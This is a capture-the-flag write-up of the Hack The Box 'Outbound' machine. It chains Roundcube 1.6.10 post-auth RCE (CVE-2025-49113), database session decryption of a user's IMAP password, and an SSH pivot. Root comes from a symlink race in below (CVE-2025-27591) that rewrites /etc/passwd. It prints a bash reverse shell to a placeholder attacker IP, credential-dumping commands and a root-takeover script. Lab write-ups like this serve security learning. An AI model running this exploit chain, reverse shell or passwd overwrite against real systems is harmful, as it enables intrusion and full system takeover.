root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat outbound.md
// writeups

Outbound

12 Jul 2025 · 15 min read
Outbound HTB machine

Executive summary — Outbound is a Linux assumed breach machine: we start with a valid credential (tyler:LhKL1o9Nm3X2) for a Roundcube Webmail 1.6.10 running inside a Docker container. A post-auth RCE (CVE-2025-49113) yields a shell as www-data; from there we recover and decrypt another user's IMAP password stored in the database session, an internal email reveals the live password, and we pivot to the real host over SSH; finally, a symlink race in the below binary (CVE-2025-27591) runnable via sudo lets us rewrite /etc/passwd and become root. A Web → RCE → DB → SSH → Root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.232.158

Attack map

[80/HTTP]  nginx 1.24.0 → Roundcube Webmail 1.6.10   (Docker container)
   │  CVE-2025-49113 (PHP deserialization, post-auth)  ·  tyler:LhKL1o9Nm3X2
   ▼
[RCE]  reverse shell as www-data   (inside the container, 172.17.0.2)
   │  config.inc.php → des_key  ·  dump the session table (MySQL)
   ▼
[DB]  jacob's IMAP password encrypted (DES-EDE3-CBC) → email with the live password
   │  gY4Wr3a1evp4
   ▼
[SSH]  jacob@10.129.232.158   (real host, outside the container)
   │  sudo -l → NOPASSWD: /usr/bin/below
   ▼
[ROOT]  CVE-2025-27591 (symlink race in below) → chmod 666 /etc/passwd → su root

1. Reconnaissance

We start by mapping the attack surface. A first full-port sweep at high speed and then version + default-script detection on the open ports:

nmap -p- --min-rate 3000 -T4 -Pn 10.129.232.158
nmap -p 22,80 -sC -sV -Pn 10.129.232.158

Why these flags:

  • -p- → scan all 65535 TCP ports.
  • --min-rate 3000 → force at least 3000 packets/second (fast sweep).
  • -Pn → skip host discovery ping; assume the host is up (HTB blocks ICMP).
  • -sC -sV → default NSE scripts + version detection.
22/tcp  open  ssh    OpenSSH 9.6p1 Ubuntu
80/tcp  open  http   nginx 1.24.0

Analysis: only two ports. 80/tcp redirects to the virtual host mail.outbound.htb (without following the redirect, nmap tells us where it points), so the entry vector is the web app. We keep SSH in reserve for later.

2. Web enumeration

The server routes by the Host: header. Instead of editing /etc/hosts, we force resolution with curl's --resolve, which maps the name to the IP for this request only:

curl -s -i --resolve mail.outbound.htb:80:10.129.232.158 http://mail.outbound.htb/

The application is Roundcube Webmail. With the provided credential (tyler / LhKL1o9Nm3X2), a POST login to /?_task=login returns a 302: valid for the webmail. (Note: it later turns out it does not work for SSH; IMAP and system passwords differ.)

Once authenticated, the ?_task=settings&_action=about page reveals the exact version:

"rcversion":10610 ... "Roundcube Webmail 1.6.10"

Why the version matters: Roundcube 1.6.10 is vulnerable to a critical 2025 CVE. Pinning product + exact version turns enumeration into a targeted exploit. Active plugins: archive, filesystem_attachments, jqueryui, zipdownload.

3. Exploitation — CVE-2025-49113 (www-data foothold)

CVE-2025-49113 is a post-auth RCE via PHP object deserialization in Roundcube ≤ 1.6.10. An authenticated user can upload, through the _from parameter of the attachment endpoint (program/actions/settings/upload.php), a file whose name contains a serialized PHP object (the Crypt_GPG_Engine gadget). That class's _gpgconf field ends up in a shell_exec, yielding command execution.

We use the public PoC hakaioffsec/CVE-2025-49113-exploit, which builds the gadget as:

$this->_gpgconf = "echo \"{$gpgconf_base64}\"|base64 -d|sh;#";

Required adaptation: the script uses file_get_contents with the literal URL and cannot force the Host header the way curl --resolve does. Since we couldn't edit /etc/hosts (needed sudo with a password, unavailable), we patched the script to inject Host: mail.outbound.htb into the three HTTP requests (login, upload, and the initial request itself) and point straight at the IP:

sed -i 's|"User-Agent: ... Security\r\n"|"User-Agent: ... Security\r\nHost: mail.outbound.htb\r\n"|g' exploit_ip.php

We start a listener and fire the exploit with a reverse-shell command:

nc -lvnp 4444   # listener
php exploit_ip.php "http://10.129.232.158" "tyler" "LhKL1o9Nm3X2" \
  "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"

Result: a reverse shell as www-data.

Operational note: the RCE command runs synchronously, blocking the exploit's HTTP request until the child process finishes. If you kill nc before the remote gets EOF, the exploit itself can hang. A FIFO-based persistent listener (exec 3<>fifo; cat <&3 | nc -lvnp PORT > log) lets you reuse the connection without losing control.

4. Lateral pivot — from www-data to jacob

Environment check: there is no /etc/ssh, there is a /.dockerenv, the hostname is mail.outbound.htb, and ip a shows 172.17.0.2/16: we are in a Docker container. The real host (with the externally visible SSH) is the gateway 172.17.0.1. capsh --decode confirms standard, unprivileged capabilities (cap_chown, cap_dac_override, ..., no CAP_SYS_ADMIN) and Seccomp: 2 enabled — no trivial container escape. The way out is through the application.

Roundcube keeps its configuration (and secrets) in config.inc.php. We pull the database DSN and the encryption key:

grep dsn /var/www/html/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

The key to the pivot: Roundcube reuses the logged-in user's IMAP password by encrypting it (DES-EDE3-CBC, key = des_key) inside the serialized session data, to avoid re-prompting on every IMAP call. With read access to the config and the session table, you can recover the password of any user who has ever logged in.

We dump the session table with the freshly obtained DB credentials:

mysql -u roundcube -pRCDBPass2025 roundcube -e 'select sess_id,ip,changed,vars from session;'

An old jacob session (2025-06-08), after base64-decoding the vars field (PHP serialization), reveals his encrypted IMAP password:

username|s:5:"jacob"; ... password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"; ...

We decrypt it offline by replicating rcube::decrypt(): base64-decode, the first 8 bytes are the IV, the rest is the ciphertext, and openssl_decrypt with DES-EDE3-CBC and the des_key:

php -r '
$b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";
$key = "rcmail-!24ByteDESkey*Str";
$cipher = base64_decode($b64);
$iv_size = openssl_cipher_iv_length("DES-EDE3-CBC");
$iv = substr($cipher, 0, $iv_size);
$ct = substr($cipher, $iv_size);
echo openssl_decrypt($ct, "DES-EDE3-CBC", $key, OPENSSL_RAW_DATA, $iv) . "\n";
'
595mO8DmwGeD

Important twist: this password (595mO8DmwGeD) turned out to be stale — SSH rejects it. But it does work to log into the webmail as jacob.

Logging into the webmail as jacob with 595mO8DmwGeD, his inbox holds two key emails:

  • From tyler, subject Important Update: jacob's updated password is gY4Wr3a1evp4.
  • From mel, subject Unexpected Resource Consumption: mentions that resource monitoring was enabled with below and that jacob has permission to inspect its logs — a direct hint at the escalation.

With the live password we pivot to the real host over SSH:

sshpass -p 'gY4Wr3a1evp4' ssh jacob@10.129.232.158

Now on the system (outside the container) we read the user flag:

user.txt: e5c63b49036f26f796929ce1a2ba8048

5. Privilege escalation — CVE-2025-27591 (below)

First reflex after landing a system user: check sudo -l:

sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

The vulnerability: below (Meta's resource-monitoring tool) creates, on each start, the directory /var/log/below with 777 permissions and the file /var/log/below/error_root.log with 666, without checking whether it already exists as a symlink. If we replace that file with a symlink to /etc/passwd before running below, the process itself (as root) applies chmod 666 to the symlink's real target. This is CVE-2025-27591.

rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
sudo /usr/bin/below   # any allowed variant works; exit with Ctrl-C
ls -la /etc/passwd    # -rw-rw-rw-

Particularity of this instance — automatic restoration. The classic attack (append a UID 0 user line to /etc/passwd and wait) fails here: a process reverts the file —content and permissions— within seconds. The fix is to chain everything into a single SSH session to win the race before the restore kicks in:

ssh jacob@10.129.232.158 '
rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log
timeout 2 sudo /usr/bin/below >/dev/null 2>&1 &
sleep 0.5
python3 -c "
data = open(\"/etc/passwd\").read()
data = data.replace(\"root:x:0:0:root:/root:/bin/bash\", \"root:\$1\$jhax\$J7i2lc2Uwss7j4gu.R45H1:0:0:root:/root:/bin/bash\")
open(\"/etc/passwd\", \"w\").write(data)
"
echo "Passw0rd!123" | su - root -c "id; cat /root/root.txt"
'

Technique notes:

  • We overwrite the hash field of the existing root:x:... line directly (instead of adding a new line), replacing the x with an MD5-crypt hash generated locally with openssl passwd -1 -salt jhax 'Passw0rd!123'. The system then authenticates against /etc/passwd without touching /etc/shadow (unreachable with this technique).
  • We use open(path, "w") in Python instead of sed -i or shell redirection: writing to the same inode only needs write permission on the file (already granted by the bug), whereas sed -i or creating a temp file in /etc/ would fail for lack of write permission on the directory.
  • echo pass | su - root -c ... works despite there being no real interactive TTY.
openssl passwd -1 -salt jhax 'Passw0rd!123'

Authenticating as root, we read the final flag:

root.txt: 015a1646357a2987ff3514a391e34017

Cleanup: the same race window is repeated to revert root's hash back to x (original state), and the symlink is replaced with a plain empty file.

Vulnerability summary

PhaseComponentVulnerabilityImpact
Web / RCERoundcube Webmail 1.6.10CVE-2025-49113 (post-auth PHP deserialization)Command execution as www-data (in container)
PivotRoundcube + MySQLFixed des_key in config + encrypted IMAP password in the session tableRecovery of jacob's credentials
AccessSSH / webmailInternal email carrying the live passwordShell as jacob on the real host
PrivEscsudo / belowCVE-2025-27591 (symlink race on laxly-permissioned logs)Rewrite of /etc/passwd → root

Lessons learned

  • Recent CVEs in deployed software: a critical 2025 CVE in Roundcube is still the most common entry vector in assumed breach webmail labs. Always check the exact version first.
  • Vhost routing without /etc/hosts access: tools that don't support --resolve (PHP scripts using file_get_contents) can be patched by injecting the Host header by hand.
  • Reusable secrets: Roundcube encrypts the IMAP password with a fixed des_key visible in config.inc.php. Reading that config + the session table recovers credentials for any user who has ever logged in.
  • Stale credentials: a password recovered from an old session may be outdated; the user's own emails (reachable with it) may hold the current one, closing the loop within the same service.
  • Symlink races in tools with lax logs: CVE-2025-27591 in below is a classic — swapping the log for a symlink before the tool creates it inherits the chmod it applies as root.
  • Atomic exploitation: when the target actively restores a critical file, exploitation must be an atomic sequence in a single session (trigger → modify → use the privilege) rather than separate steps with network round-trips in between.